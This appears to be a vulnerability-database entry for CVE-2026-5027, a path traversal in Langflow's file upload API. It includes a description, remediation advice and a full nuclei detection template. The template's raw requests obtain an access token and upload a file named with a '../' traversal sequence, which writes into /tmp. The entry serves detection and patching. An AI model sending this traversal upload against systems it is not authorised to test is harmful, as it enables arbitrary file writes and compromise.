HexBrain

Browse / CVEs / CVE-2026-5027

CVE-2026-5027· langflow-ai / langflow· CWE-22

Langflow <= 1.8.4 - Path Traversal to RCE via File Upload

highseverity
8.8CVSS score
40%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

The application contains a path traversal vulnerability caused by unsanitized 'filename' parameter in the 'POST /api/v2/files' multipart form data, letting attackers write files to arbitrary filesystem locations, exploit requires crafted request.

Impact

Attackers can write files to arbitrary locations, potentially leading to system compromise or data tampering.

Fix

Sanitize the 'filename' parameter to prevent path traversal or update to the latest secure version.

How to confirm it

Send: GET /api/v1/auto_login ; POST /api/v2/files
Positive when: status_code_2 == 201 and contains_all(body_2, 'id','name','path')
Send: POST /api/v1/login ; POST /api/v2/files
Positive when: status_code_2 == 201 and contains_all(body_2, 'id','name','path')

Run it with nuclei: nuclei -id CVE-2026-5027 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2026-5027

info:
  name: Langflow <= 1.8.4 - Path Traversal to RCE via File Upload
  author: pussycat0x
  severity: high
  description: |
    The application contains a path traversal vulnerability caused by unsanitized 'filename' parameter in the 'POST /api/v2/files' multipart form data, letting attackers write files to arbitrary filesystem locations, exploit requires crafted request.
  impact: |
    Attackers can write files to arbitrary locations, potentially leading to system compromise or data tampering.
  remediation: |
    Sanitize the 'filename' parameter to prevent path traversal or update to the latest secure version.
  reference:
    - https://github.com/langflow-ai/langflow/pull/12227
    - https://github.com/0xBlackash/CVE-2026-5027
    - https://github.com/langflow-ai/langflow/security/advisories/GHSA-g2j9-7rj2-gm6c
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2026-5027
    epss-score: 0.39973
    epss-percentile: 0.9864
    cwe-id: CWE-22
  metadata:
    max-request: 2
    vendor: langflow-ai
    product: langflow
    shodan-query: title:"Langflow"
    fofa-query: title="Langflow"
  tags: cve,cve2026,langflow,lfi,intrusive,vkev

flow: http(1) || http(2)

http:
  - raw:
      - |
        GET /api/v1/auto_login HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

      - |
        POST /api/v2/files HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{access_token}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarya3f2c8d9e7b14650

        ------WebKitFormBoundarya3f2c8d9e7b14650
        Content-Disposition: form-data; name="file"; filename="../../../../../../../../../tmp/{{randstr}}.txt"
        Content-Type: text/plain

        {{randstr}}
        ------WebKitFormBoundarya3f2c8d9e7b14650--

    matchers:
      - type: dsl
        dsl:
          - "status_code_2 == 201"
          - "contains_all(body_2, 'id','name','path')"
        condition: and

    extractors:
      - type: json
        name: access_token
        part: body_1
        json:
          - ".access_token"
        internal: true

      - type: json
        part: body_2
        json:
          - ".path"

  - raw:
      - |
        POST /api/v1/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Accept: application/json

        username={{username}}&password={{password}}

      - |
        POST /api/v2/files HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{access_token}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarya3f2c8d9e7b14650

        ------WebKitFormBoundarya3f2c8d9e7b14650
        Content-Disposition: form-data; name="file"; filename="../../../../../../../../../tmp/{{randstr}}.txt"
        Content-Type: text/plain

        {{randstr}}
        ------WebKitFormBoundarya3f2c8d9e7b14650--

    matchers:
      - type: dsl
        dsl:
          - "status_code_2 == 201"
          - "contains_all(body_2, 'id','name','path')"
        condition: and

    extractors:
      - type: json
        name: access_token
        part: body_1
        json:
          - ".access_token"
        internal: true

      - type: json
        part: body_2
        json:
          - ".path"

References

Use this check only on systems you are authorised to test. Where the data comes from